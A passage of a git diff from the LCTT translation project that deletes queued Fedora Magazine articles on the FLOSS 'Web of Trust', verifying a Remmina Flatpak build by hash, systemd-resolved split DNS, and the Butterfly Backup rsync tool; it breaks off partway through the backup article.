-校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mikecamel -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brain_computer_solve_fix_tool.png?itok=okq8joti (Brain on a computer screen) -[2]: https://wiley.com/ -[3]: tmp.HkXCfJwlpF#1 -[4]: https://aliceevebob.com/2020/09/08/measured-and-trusted-boot/ diff --git a/sources/tech/20201014 Web of Trust, Part 1- Concept.md b/sources/tech/20201014 Web of Trust, Part 1- Concept.md deleted file mode 100644 index b9eedecb3e..0000000000 --- a/sources/tech/20201014 Web of Trust, Part 1- Concept.md +++ /dev/null @@ -1,86 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Web of Trust, Part 1: Concept) -[#]: via: (https://fedoramagazine.org/web-of-trust-part-1-concept/) -[#]: author: (Kevin "Eonfge" Degeling https://fedoramagazine.org/author/eonfge/) - -Web of Trust, Part 1: Concept -====== - -![][1] - -Every day we rely on technologies who nobody can fully understand. Since well before the industrial revolution, complex and challenging tasks required an approach that broke out the different parts into smaller scale tasks. Each resulting in specialized knowledge used in some parts of our lives, leaving other parts to trust in skills that others had learned. This shared knowledge approach also applies to software. Even the most avid readers of this magazine, will likely not compile and validate every piece of code they run. This is simply because the world of computers is itself also too big for one person to grasp. - -Still, even though it is nearly impossible to understand everything that happens within your PC when you are using it, that does not leave you blind and unprotected. FLOSS software shares trust, giving protection to all users, even if individual users can’t grasp all parts in the system. This multi-part article will discuss how this ‘Web of Trust’ works and how you can get involved. - -But first we’ll have to take a step back and discuss the basic concepts, before we can delve into the details and the web. Also, a note before we start, security is not just about viruses and malware. Security also includes your privacy, your economic stability and your technological independence. - -### One-Way System - -By their design, computers can only work and function in the most rudimentary ways of logic: _True_ or _false_. _And_ or _Or._ This (boolean logic) is not readily accessible to humans, therefore we must do something special. We write applications in a code that we can (reasonably) comprehend (human readable). Once completed, we turn this human readable code into a code that the computer can comprehend (machine code). - -The step of conversion is called compilation and/or building, and it’s a one-way process. Compiled code (machine code) is not really understandable by humans, and it takes special tools to study in detail. You can understand small chunks, but on the whole, an entire application becomes a black box. - -This subtle difference shifts power. Power, in this case being the influence of one person over another person. The person who has written the human-readable version of the application and then releases it as compiled code to use by others, knows all about what the code does, while the end user knows a very limited scope. When using (software) in compiled form, it is impossible to know for certain what an application is intended to do, unless the original human readable code can be viewed. - -### **The Nature of Power** - -Spearheaded by Richard Stallman, this shift of power became a point of concern. This discussion started in the 1980s, for this was the time that computers left the world of academia and research, and entered the world of commerce and consumers. Suddenly, that power became a source of control and exploitation. - -One way to combat this imbalance of power, was with the concept of FLOSS software. FLOSS Software is built on [4-Freedoms][2], which gives you a wide array of other ‘affiliated’ rights and guarantees. In essence, FLOSS software uses copyright-licensing as a form of moral contract, that forces software developers not to leverage the one-way power against their users. The principle way of doing this, is with the the GNU General Public Licenses, which Richard Stallman created and has since been promoting. - -One of those guarantees, is that you can see the code that should be running on your device. When you get a device using FLOSS software, then the manufacturer should provide you the code that the device is using, as well as all instructions that you need to compile that code yourself. Then you can replace the code on the device with the version you can compile yourself. Even better, if you compare the version you have with the version on the device, you can see if the device manufacturer tried to cheat you or other customers. - -This is where the web of Trust comes back into the picture. The Web of Trust implies that even if the vast majority of people can’t validate the workings of a device, that others can do so on their behalf. Journalists, security analysts and hobbyists, can do the work that others might be unable to do. And if they find something, they have the power to share their findings. - -### Security by B**lind** **Trust** - -This is of course, if the application and all components underneath it, are FLOSS. Proprietary software, or even software which is merely Open Source, has compiled versions that nobody can recreate and validate. Thus, you can never truly know if that software is secure. It might have a backdoor, it might sell your personal data, or it might be pushing a closed ecosystem to create a vendor-lock. With closed-source software, your security is as good as the company making the software is trustworthy. - -For companies and developers, this actually creates another snare. While you might still care about your users and their security, you’re a liability: If a criminal can get to your official builds or supply-chain, then there is no way for anybody to discover that afterwards. An increasing number of attacks do not target users directly, but instead try to get in, by exploiting the trust the companies/developers have carefully grown. - -You should also not underestimate pressure from outside: Governments can ask you to ignore a vulnerability, or they might even demand cooperation. Investment firms or shareholders, may also insist that you create a vendor-lock for future use. The blind trust that you demand of your users, can be used against you. - -### Security by a Web of Trust - -If you are a user, FLOSS software is good because others can warn you when they find suspicious elements. You can use any FLOSS device with minimal economic risk, and there are many FLOSS developers who care for your privacy. Even if the details are beyond you, there are rules in place to facilitate trust. - -If you are a tinkerer, FLOSS is good because with a little extra work, you can check the promises of others. You can warn people when something goes wrong, and you can validate the warnings of others. You’re also able to check individual parts in a larger picture. The libraries used by FLOSS applications, are also open for review: It’s “Trust all the way down”. - -For companies and developers, FLOSS is also a great reassurance that your trust can’t be easily subverted. If malicious actors wish to attack your users, then any irregularity can quickly be spotted. Last but not least, since you also stand to defend your customers economic well-being and privacy, you can use that as an important selling point to customers who care about their own security. - -### Fedora’s case - -Fedora embraces the concept of FLOSS and it stands strong to defend it. There are comprehensive [legal guidelines][3], and Fedora’s principles are directly referencing the 4-Freedoms: [Freedom, Friends, Features, and First][4] - -![][5] - -To this end, entire systems have been set up to facilitate this kind of security. Fedora works completely in the open, and any user can check the official servers. [Koji][6] is the name of the Fedora Buildsystem, and you can see every application and it’s build logs there. For added security, there is also [Bohdi][7], which orchestrates the deployment of an application. Multiple people must approve it, before the application can become available. - -This creates the Web of Trust on which you can rely. Every package in the repository goes through the same process, and at every point somebody can intervene. There are also escalation systems in place to report issues, so that issues can quickly be tackled when they occur. Individual contributors also know that they can be reviewed at every time, which itself is already enough of a precaution to dissuade mischievous thoughts. - -You don’t have to trust Fedora (implicitly), you can get something better; trust in users like you. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/web-of-trust-part-1-concept/ - -作者:[Kevin "Eonfge" Degeling][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/eonfge/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/09/weboftrust1-816x345.jpg -[2]: https://fsfe.org/freesoftware/freesoftware.en.html -[3]: https://fedoraproject.org/wiki/Licensing:Main?rd=Licensing -[4]: https://docs.fedoraproject.org/en-US/project/ -[5]: https://fedoramagazine.org/wp-content/uploads/2020/09/foundations_expand_1_freedom.png -[6]: https://koji.fedoraproject.org/koji/index -[7]: https://bodhi.fedoraproject.org/ diff --git a/sources/tech/20201016 systemd-resolved- introduction to split DNS.md b/sources/tech/20201016 systemd-resolved- introduction to split DNS.md deleted file mode 100644 index 0801dd90fa..0000000000 --- a/sources/tech/20201016 systemd-resolved- introduction to split DNS.md +++ /dev/null @@ -1,162 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (systemd-resolved: introduction to split DNS) -[#]: via: (https://fedoramagazine.org/systemd-resolved-introduction-to-split-dns/) -[#]: author: (zbyszek https://fedoramagazine.org/author/zbyszek/) - -systemd-resolved: introduction to split DNS -====== - -![][1] - -Photo by [Ruvim Noga][2] on [Unsplash][3] - -Fedora 33 switches the default DNS resolver to [systemd-resolved][4]. In simple terms, this means that systemd-resolved will run as a daemon. All programs wanting to translate domain names to network addresses will talk to it. This replaces the current default lookup mechanism where each program individually talks to remote servers and there is no shared cache. - -If necessary, systemd-resolved will contact remote DNS servers. systemd-resolved is a “stub resolver”—it doesn’t resolve all names itself (by starting at the root of the DNS hierarchy and going down label by label), but forwards the queries to a remote server. - -A single daemon handling name lookups provides significant benefits. The daemon caches answers, which speeds answers for frequently used names. The daemon remembers which servers are non-responsive, while previously each program would have to figure this out on its own after a timeout. Individual programs only talk to the daemon over a local transport and are more isolated from the network. The daemon supports fancy rules which specify which name servers should be used for which domain names—in fact, the rest of this article is about those rules. - -### Split DNS - -Consider the scenario of a machine that is connected to two semi-trusted networks (wifi and ethernet), and also has a VPN connection to your employer. Each of those three connections has its own network interface in the kernel. And there are multiple name servers: one from a DHCP lease from the wifi hotspot, two specified by the VPN and controlled by your employer, plus some additional manually-configured name servers. _Routing_ is the process of deciding which servers to ask for a given domain name. Do not mistake this with the process of deciding where to send network packets, which is called routing too. - -The network interface is king in systemd-resolved. systemd-resolved first picks one or more interfaces which are appropriate for a given name, and then queries one of the name servers attached to that interface. This is known as “split DNS”. - -There are two flavors of domains attached to a network interface: _routing domains_ and _search domains_. They both specify that the given domain and any subdomains are appropriate for that interface. Search domains have the additional function that single-label names are suffixed with that search domain before being resolved. For example, a lookup for “server” is treated as a lookup for “server.example.com” if the search domain is “example.com.” In systemd-resolved config files, routing domains are prefixed with the tilde (~) character. - -#### Specific example - -Now consider a specific example: your VPN interface _tun0_ has a search domain _private.company.com_ and a routing domain _~company.com_. If you ask for _mail.private.company.com_, it is matched by both domains, so this name would be routed to _tun0_. - -A request for _[www.company.com][5]_ is matched by the second domain and would also go to _tun0_. If you ask for _www_, (in other words, if you specify a single-label name without any dots), the difference between routing and search domains comes into play. systemd-resolved attempts to combine the single-label name with the search domain and tries to resolve _[www.private.company.com][6]_ on _tun0_. - -If you have multiple interfaces with search domains, single-label names are suffixed with all search domains and resolved in parallel. For multi-label names, no suffixing is done; search and routing domains are are used to route the name to the appropriate interface. The longest match wins. When there are multiple matches of the same length on different interfaces, they are resolved in parallel. - -A special case is when an interface has a routing domain _~._ (a tilde for a routing domain and a dot for the root DNS label). Such an interface always matches any names, but with the shortest possible length. Any interface with a matching search or routing domain has higher priority, but the interface with _~._ is used for all other names. Finally, if no routing or search domains matched, the name is routed to all interfaces that have at least one name server attached. - -### Lookup routing in systemd-resolved - -#### Domain routing - -This seems fairly complex, partially because of the historic names which are confusing. In actual practice it’s not as complicated as it seems. - -To introspect a running system, use the _resolvectl domain_ command. For example: - -``` -$ resolvectl domain -Global: -Link 4 (wlp4s0): ~. -Link 18 (hub0): -Link 26 (tun0): redhat.com -``` - -You can see that _www_ would resolve as _[www.redhat.com][7]_. over _tun0_. Anything ending with _redhat.com_ resolves over _tun0_. Everything else would resolve over _wlp4s0_ (the wireless interface). In particular, a multi-label name like _[www.foobar][8]_ would resolve over _wlp4s0_, and most likely fail because there is no _foobar_ top-level domain (yet). - -#### Server routing - -Now that you know which _interface_ or interfaces should be queried, the _server_ or servers to query are easy to determine. Each interface has one or more name servers configured. systemd-resolved will send queries to the first of those. If the server is offline and the request times out or if the server sends a syntactically-invalid answer (which shouldn’t happen with “normal” queries, but often becomes an issue when DNSSEC is enabled), systemd-resolved switches to the next server on the list. It will use that second server as long as it keeps responding. All servers are used in a round-robin rotation. - -To introspect a running system, use the _resolvectl dns_ command: - -``` -$ resolvectl dns -Global: -Link 4 (wlp4s0): 192.168.1.1 8.8.4.4 8.8.8.8 -Link 18 (hub0): -Link 26 (tun0): 10.45.248.15 10.38.5.26 -``` - -When combined with the previous listing, you know that for _[www.redhat.com][7]_, systemd-resolved will query 10.45.248.15, and—if it doesn’t respond—10.38.5.26. For _[www.google.com][9]_, systemd-resolved will query 192.168.1.1 or the two Google servers 8.8.4.4 and 8.8.8.8. - -### Differences from nss-dns - -Before going further detail, you may ask how this differs from the previous default implementation (nss-dns). With nss-dns there is just one global list of up to three name servers and a global list of search domains (specified as _nameserver_ and _search_ in _/etc/resolv.conf_). - -Each name to query is sent to the first name server. If it doesn’t respond, the same query is sent to the second name server, and so on. systemd-resolved implements split-DNS and remembers which servers are currently considered active. - -For single-label names, the query is performed with each of the the search domains suffixed. This is the same with systemd-resolved. For multi-label names, a query for the unsuffixed name is performed first, and if that fails, a query for the name suffixed by each of the search domains in turn is performed. systemd-resolved doesn’t do that last step; it only suffixes single-label names. - -A second difference is that with _nss-dns_, this module is loaded into each process. The process itself communicates with remote servers and implements the full DNS stack internally. With systemd-resolved, the _nss-resolve_ module is loaded into the process, but it only forwards the query to systemd-resolved over a local transport (D-Bus) and doesn’t do any work itself. The systemd-resolved process is heavily sandboxed using systemd service features. - -The third difference is that with systemd-resolved all state is dynamic and can be queried and updated using D-Bus calls. This allows very strong integration with other daemons or graphical interfaces. - -### Configuring systemd-resolved - -So far, this article talked about servers and the routing of domains without explaining how to configure them. systemd-resolved has a configuration file (_/etc/systemd/resolv.conf_) where you specify name servers with _DNS=_ and routing or search domains with _Domains=_ (routing domains with _~_, search domains without). This corresponds to the _Global:_ lists in the two listings above. - -In this article’s examples, both lists are empty. Most of the time configuration is attached to specific interfaces, and “global” configuration is not very useful. Interfaces come and go and it isn’t terribly smart to contact servers on an interface which is down. As soon as you create a VPN connection, you want to use the servers configured for that connection to resolve names, and as soon as the connection goes down, you want to stop. - -How does then systemd-resolved acquire the configuration for each interface? This happens dynamically, with the network management service pushing this configuration over D-Bus into systemd-resolved. The default in Fedora is NetworkManager and it has very good integration with systemd-resolved. Alternatives like systemd’s own systemd-networkd implement similar functionality. But the [interface is open][10] and other programs can do the appropriate D-Bus calls. - -Alternatively, _resolvectl_ can be used for this (it is just a wrapper around the D-Bus API). Finally, _resolvconf_ provides similar functionality in a form compatible with a tool in Debian with the same name. - -#### Scenario: Local connection more trusted than VPN - -The important thing is that in the common scenario, systemd-resolved follows the configuration specified by other tools, in particular NetworkManager. So to understand how systemd-resolved names, you need to see what NetworkManager tells it to do. Normally NM will tell systemd-resolved to use the name servers and search domains received in a DHCP lease on some interface. For example, look at the source of configuration for the two listings shown above: - -![][11]![][12] - -There are two connections: “Parkinson” wifi and “Brno (BRQ)” VPN. In the first panel _DNS:Automatic_ is enabled, which means that the DNS server received as part of the DHCP lease (192.168.1.1) is passed to systemd-resolved. Additionally. 8.8.4.4 and 8.8.8.8 are listed as alternative name servers. This configuration is useful if you want to resolve the names of other machines in the local network, which 192.168.1.1 provides. Unfortunately the hotspot DNS server occasionally gets stuck, and the other two servers provide backup when that happens. - -The second panel is similar, but doesn’t provide any special configuration. NetworkManager combines routing domains for a given connection from DHCP, SLAAC RDNSS, and VPN, and finally manual configuration and forward this to systemd-resolved. This is the source of the search domain _redhat.com_ in the listing above. - -There is an important difference between the two interfaces though: in the second panel, “Use this connection only for resources on its network” is **checked**. This tells NetworkManager to tell systemd-resolved to only use this interface for names under the search domain received as part of the lease (_Link 26 (tun0): redhat.com_ in the first listing above). In the first panel, this checkbox is **unchecked**, and NetworkManager tells systemd-resolved to use this interface for all other names (_Link 4 (wlp4s0): ~._). This effectively means that the wireless connection is more trusted. - -#### Scenario: VPN more trusted than local network - -In a different scenario, a VPN would be more trusted than the local network and the domain routing configuration reversed. If a VPN without “Use this connection only for resources on its network” is active, NetworkManager tells systemd-resolved to attach the default routing domain to this interface. After unchecking the checkbox and restarting the VPN connection: - -``` -$ resolvectl domain -Global: -Link 4 (wlp4s0): -Link 18 (hub0): -Link 28 (tun0): ~. redhat.com -$ resolvectl dns -Global: -Link 4 (wlp4s0): -Link 18 (hub0): -Link 28 (tun0): 10.45.248.15 10.38.5.26 -``` - -Now all domain names are routed to the VPN. The network management daemon controls systemd-resolved and the user controls the network management daemon. - -### Additional systemd-resolved functionality - -As mentioned before, systemd-resolved provides a common name lookup mechanism for all programs running on the machine. Right now the effect is limited: shared resolver and cache and split DNS (the lookup routing logic described above). systemd-resolved provides additional resolution mechanisms beyond the traditional unicast DNS. These are the local resolution protocols MulticastDNS and LLMNR, and an additional remote transport DNS-over-TLS. - -Fedora 33 does not enable MulticastDNS and DNS-over-TLS in systemd-resolved. MulticastDNS is implemented by _nss-mdns4_minimal_ and Avahi. Future Fedora releases may enable these as the upstream project improves support. - -Implementing this all in a single daemon which has runtime state allows smart behaviour: DNS-over-TLS may be enabled in opportunistic mode, with automatic fallback to classic DNS if the remote server does not support it. Without the daemon which can contain complex logic and runtime state this would be much harder. When enabled, those additional features will apply to all programs on the system. - -There is more to systemd-resolved: in particular LLMNR and DNSSEC, which only received brief mention here. A future article will explore those subjects. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/systemd-resolved-introduction-to-split-dns/ - -作者:[zbyszek][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/zbyszek/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/10/systemd-resolved2-816x345.jpg -[2]: https://unsplash.com/@ruvimnogaphoto?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[3]: https://unsplash.com/s/photos/colors?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[4]: https://www.freedesktop.org/software/systemd/man/systemd-resolved.service.html -[5]: http://www.company.com -[6]: http://www.private.company.com -[7]: http://www.redhat.com -[8]: http://www.foobar -[9]: http://www.google.com -[10]: https://www.freedesktop.org/software/systemd/man/org.freedesktop.resolve1.html -[11]: https://fedoramagazine.org/wp-content/uploads/2020/10/nm-default-network-with-additional-servers.png -[12]: https://fedoramagazine.org/wp-content/uploads/2020/10/nm-vpn-brno.png diff --git a/sources/tech/20201019 Web of Trust, Part 2- Tutorial.md b/sources/tech/20201019 Web of Trust, Part 2- Tutorial.md deleted file mode 100644 index b5e17fc7cc..0000000000 --- a/sources/tech/20201019 Web of Trust, Part 2- Tutorial.md +++ /dev/null @@ -1,198 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Web of Trust, Part 2: Tutorial) -[#]: via: (https://fedoramagazine.org/web-of-trust-part-2-tutorial/) -[#]: author: (Kevin "Eonfge" Degeling https://fedoramagazine.org/author/eonfge/) - -Web of Trust, Part 2: Tutorial -====== - -![][1] - -["The spider web"][2] by [bluesbby][3] is licensed under [CC BY 2.0][4][][4] - -The [previous article][5] looked at how the Web of Trust works in concept, and how the Web of Trust is implemented at Fedora. In this article, you’ll learn how to do it yourself. The power of this system lies in everybody being able to validate the actions of others—if you know how to validate somebody’s work, you’re contributing to the strength of our shared security. - -### Choosing a project - -[Remmina][6] is a remote desktop client written in GTK+. It aims to be useful for system administrators and travelers who need to work with lots of remote computers in front of either large monitors or tiny netbooks. In the current age, where many people must work remotely or at least manage remote servers, the security of a program like Remmina is critical. Even if you do not use it yourself, you can contribute to the Web of Trust by checking it for others. - -The question is: how do you know that a given version of Remmina is good, and that the original developer—or distribution server—has not been compromised? - -For this tutorial, you’ll use [Flatpak][7] and the [Flathub][8] repository. Flatpak is intentionally well-suited for making verifiable rebuilds, which is one of the tenets of the Web of Trust. It’s easier to work with since it doesn’t require users to download independent development packages. Flatpak also uses techniques to prevent in‑flight tampering, using hashes to validate its read‑only state. As far as the Web of Trust is concerned, Flatpak is the future. - -For this guide, you use Remmina, but this guide generally applies to every application you use. It’s also not exclusive to Flatpak, and the general steps also apply to Fedora’s repositories. In fact, if you’re currently reading this article on Debian or Arch, you can still follow the instructions. If you want to follow along using traditional RPM repositories, make sure to check out [this article][9]. - -### Installing and checking - -To install Remmina, use the Software Center or run the following from a terminal: - -``` -flatpak install flathub org.remmina.Remmina -y -``` - -After installation, you’ll find the files in: - -``` -/var/lib/flatpak/app/org.remmina.Remmina/current/active/files/ -``` - -Open a terminal here and find the following directories using _ls -la_: - -``` -total 44 -drwxr-xr-x. 2 root root 4096 Jan 1 1970 bin -drwxr-xr-x. 3 root root 4096 Jan 1 1970 etc -drwxr-xr-x. 8 root root 4096 Jan 1 1970 lib -drwxr-xr-x. 2 root root 4096 Jan 1 1970 libexec --rw-r--r--. 2 root root 18644 Aug 25 14:37 manifest.json -drwxr-xr-x. 2 root root 4096 Jan 1 1970 sbin -drwxr-xr-x. 15 root root 4096 Jan 1 1970 share -``` - -#### Getting the hashes - -In the _bin_ directory you will find the main binaries of the application, and in _lib_ you find all dependencies that Remmina uses. Now calculate a hash for _./bin/remmina_: - -``` -sha256sum ./bin/* -``` - -This will give you a list of numbers: checksums. Copy them to a temporary file, as this is the current version of Remmina that Flathub is distributing. These numbers have something special: only an exact copy of Remmina can give you the same numbers. Any change in the code—no matter how minor—will produce different numbers. - -Like Fedora’s Koji and Bodhi build and update services, Flathub has all its build servers in plain view. In the case of Flathub, look at [Buildbot][10] to see who is responsible for the official binaries of a package. Here you will find all of the logs, including all the failed builds and their paper trail. - -![][11] - -#### Getting the source - -The main Flathub project is hosted on GitHub, where the exact compile instructions (“manifest” in Flatpak terms) are visible for all to see. Open a new terminal in your Home folder. Clone the instructions, and possible submodules, using one command: - -``` -git clone --recurse-submodules https://github.com/flathub/org.remmina.Remmina -``` - -#### Developer tools - -Start off by installing the Flatpak Builder: - -``` -sudo dnf install flatpak-builder -``` - -After that, you’ll need to get the right SDK to rebuild Remmina. In the manifest, you’ll find the current SDK is. - -``` -"runtime": "org.gnome.Platform", - "runtime-version": "3.38", - "sdk": "org.gnome.Sdk", - "command": "remmina", -``` - -This indicates that you need the GNOME SDK, which you can install with: - -``` -flatpak install org.gnome.Sdk//3.38 -``` - -This provides the latest versions of the Free Desktop and GNOME SDK. There are also additional SDK’s for additional options, but those are beyond the scope of this tutorial. - -#### Generating your **own hashes** - -Now that everything is set up, compile your version of Remmina by running: - -``` -flatpak-builder build-dir org.remmina.Remmina.json --force-clean -``` - -After this, your terminal will print a lot of text, your fans will start spinning, and you’re compiling Remmina. If things do not go so smoothly, refer to the [Flatpak Documentation][12]; troubleshooting is beyond the scope of this tutorial. - -Once complete, you should have the directory ._/build-dir/files/_, which should contain the same layout as above. Now the moment of truth: it’s time to generate the hashes for the built project: - -``` -sha256sum ./bin/* -``` - -![][13] - -You should get exactly the same numbers. This proves that the version on Flathub is indeed the version that the Remmina developers and maintainers intended for you to run. This is great, because this shows that Flathub has not been compromised. The web of trust is strong, and you just made it a bit better. - -### Going deeper - -But what about the _./lib/_ directory? And what version of Remmina did you actually compile? This is where the Web of Trust starts to branch. First, you can also double-check the hashes of the _./lib/_ directory. Repeat the _sha256sum_ command using a different directory. - -But what version of Remmina did you compile? Well, that’s in the Manifest. In the text file you’ll find (usually at the bottom) the git repository and branch that you just used. At the time of this writing, that is: - -``` -"type": "git", -"url": "https://gitlab.com/Remmina/Remmina.git", -"tag": "v1.4.8", -"commit": "7ebc497062de66881b71bbe7f54dabfda0129ac2" -``` - -Here, you can decide to look at the Remmina code itself: - -``` -git clone --recurse-submodules https://gitlab.com/Remmina/Remmina.git -cd ./Remmina -git checkout tags/v1.4.8 -``` - -The last two commands are important, since they ensure that you are looking at the right version of Remmina. Make sure you use the corresponding tag of the Manifest file. you can see everything that you just built. - -### What if…? - -The question on some minds is: what if the hashes don’t match? Quoting a famous novel: “Don’t Panic.” There are multiple legitimate reasons as to why the hashes do not match. - -It might be that you are not looking at the same version. If you followed this guide to a T, it should give matching results, but minor errors will cause vastly different results. Repeat the process, and ask for help if you’re unsure if you’re making errors. Perhaps Remmina is in the process of updating. - -But if that still doesn’t justify the mismatch in hashes, go to the [maintainers of Remmina][14] on Flathub and open an issue. Assume good intentions, but you might be onto something that isn’t totally right. - -The most obvious upstream issue is that Remmina does not properly support reproducible builds yet. The code of Remmina needs to be written in such a way that repeating the same action twice, gives the same result. For developers, there is an [entire guide][15] on how to do that. If this is the case, there should be an issue on the upstream bug-tracker, and if it is not there, make sure that you create one by explaining your steps and the impact. - -If all else fails, and you’ve informed upstream about the discrepancies and they to don’t know what is happening, then it’s time to send an email to the Administrators of Flathub and the developer in question. - -### Conclusion - -At this point, you’ve gone through the entire process of validating a single piece of a bigger picture. Here, you can branch off in different directions: - - * Try another Flatpak application you like or use regularly - * Try the RPM version of Remmina - * Do a deep dive into the C code of Remmina - * Relax for a day, knowing that the Web of Trust is a collective effort - - - -In the grand scheme of things, we can all carry a small part of responsibility in the Web of Trust. By taking free/libre open source software (FLOSS) concepts and applying them in the real world, you can protect yourself and others. Last but not least, by understanding how the Web of Trust works you can see how FLOSS software provides unique protections. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/web-of-trust-part-2-tutorial/ - -作者:[Kevin "Eonfge" Degeling][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/eonfge/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/09/weboftrust2-816x345.jpg -[2]: https://www.flickr.com/photos/17367470@N05/21329974875 -[3]: https://www.flickr.com/photos/17367470@N05 -[4]: https://creativecommons.org/licenses/by/2.0/?ref=ccsearch&atype=html -[5]: https://fedoramagazine.org/web-of-trust-part-1-concept/ -[6]: https://remmina.org/ -[7]: https://flatpak.org/ -[8]: https://flathub.org/home -[9]: https://fedoramagazine.org/how-rpm-packages-are-made-the-source-rpm/ -[10]: https://flathub.org/builds/#/ -[11]: https://fedoramagazine.org/wp-content/uploads/2020/09/Screenshot_2020-09-24-Flathub-builds-1024x434.png -[12]: https://docs.flatpak.org/en/latest/building.html -[13]: https://fedoramagazine.org/wp-content/uploads/2020/09/Screenshot-from-2020-09-22-21-49-47.png -[14]: https://github.com/flathub/org.remmina.Remmina -[15]: https://reproducible-builds.org/ diff --git a/sources/tech/20201021 Incremental backup with Butterfly Backup.md b/sources/tech/20201021 Incremental backup with Butterfly Backup.md deleted file mode 100644 index 5c2b99d950..0000000000 --- a/sources/tech/20201021 Incremental backup with Butterfly Backup.md +++ /dev/null @@ -1,290 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Incremental backup with Butterfly Backup) -[#]: via: (https://fedoramagazine.org/butterfly-backup/) -[#]: author: (Matteo Guadrini https://fedoramagazine.org/author/matteoguadrini/) - -Incremental backup with Butterfly Backup -====== - -![][1] - -### Introduction - -This article explains how to make incremental or differential backups, with a catalog available to restore (or export) at the point you want, with [Butterfly Backup][2]. - -#### Requirements - -Butterfly Backup is a simple wrapper of rsync written in python; the first requirement is **[python3.3][3]** or higher (plus module [cryptography][4] for _init_ action). Other requirements are **[openssh][5]** and **[rsync][6]** (version 2.5 or higher). Ok, let’s go! - -[Editors note: rsync version 3.2.3 is already installed on Fedora 33 systems] - -``` -$ sudo dnf install python3 openssh rsync git -$ sudo pip3 install cryptography -``` - -### Installation - -After that, installing Butterfly Backup is very simple by using the following commands to clone the repository locally, and set up Butterfly Backup for use: - -``` -$ git clone https://github.com/MatteoGuadrini/Butterfly-Backup.git -$ cd Butterfly-Backup -$ sudo python3 setup.py -$ bb --help -$ man bb -``` - -To upgrade, you would use the same commands too. - -### Example - -Butterfly Backup is a server to client tool and is installed on a server (or workstation). The restore process restores the files into the specified client. This process shares some of the options available to the backup process. - -Backups are organized accord to precise catalog; this is an example: - -``` -$ tree destination/of/backup -. -├── destination -│ ├── hostname or ip of the PC under backup -│ │ ├── timestamp folder -│ │ │ ├── backup folders -│ │ │ ├── backup.log -│ │ │ └── restore.log -│ │ ├─── general.log -│ │ └─── symlink of last backup -│ -├── export.log -├── backup.list -└── .catalog.cfg -``` - -Butterfly Backup has six main operations, referred to as **actions**, you can get information about them with the _–help_ command. - -``` -$ bb --help -usage: bb [-h] [--verbose] [--log] [--dry-run] [--version] - {config,backup,restore,archive,list,export} ... - -Butterfly Backup - -optional arguments: - -h, --help show this help message and exit - --verbose, -v Enable verbosity - --log, -l Create a log - --dry-run, -N Dry run mode - --version, -V Print version - -action: - Valid action - - {config,backup,restore,archive,list,export} - Available actions - config Configuration options - backup Backup options - restore Restore options - archive Archive options - list List options - export Export options -``` - -#### Configuration - -Configuration mode is straight forward; If you’re already familiar with the exchange keys and OpenSSH, you probably won’t need it. First, you must create a configuration (rsa keys), for instance: - -``` -$ bb config --new -SUCCESS: New configuration successfully created! -``` - -After creating the configuration, the keys will be installed (copied) on the hosts you want to backup: - -``` -$ bb config --deploy host1 -Copying configuration to host1; write the password: -/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/arthur/.ssh/id_rsa.pub" -/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed -/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys -arthur@host1's password: - -Number of key(s) added: 1 - -Now try logging into the machine, with: "ssh 'arthur@host1'" -and check to make sure that only the key(s) you wanted were added. - -SUCCESS: Configuration copied successfully on host1! -``` - -#### Backup - -There are two backup modes: _single_ and _bulk_. -The most relevant features of the two backup modes are the parallelism and retention of old backups. See the two parameters _–parallel_ and _–retention_ in the [documentation][7]. - -##### Single backup - -The backup of a single machine consists in taking the files and folders indicated in the command line, and putting them into the cataloging structure indicated above. In other words, copy all file and folders of a machine into a path. - -This is an examples: - -``` -$ bb backup --computer host1 --destination /mnt/backup --data User Config --type Unix -Start backup on host1 -SUCCESS: Command rsync -ah --no-links arthur@host1:/home :/etc /mnt/backup/host1/2020_09_19__10_28 -``` - -##### Bulk backup - -Above all, bulk mode backups share the same options as single mode, with the difference that they accept a file containing a list of hostnames or ips. In this mode backups will performed in parallel (by default 5 machines at a time). Above all, if you want to run fewer or more machines in parallel, specify the _–parallel_ parameter. - -Incremental of the previous backup, for instance: - -``` -$ cat /home/arthur/pclist.txt -host1 -host2 -host3 -$ 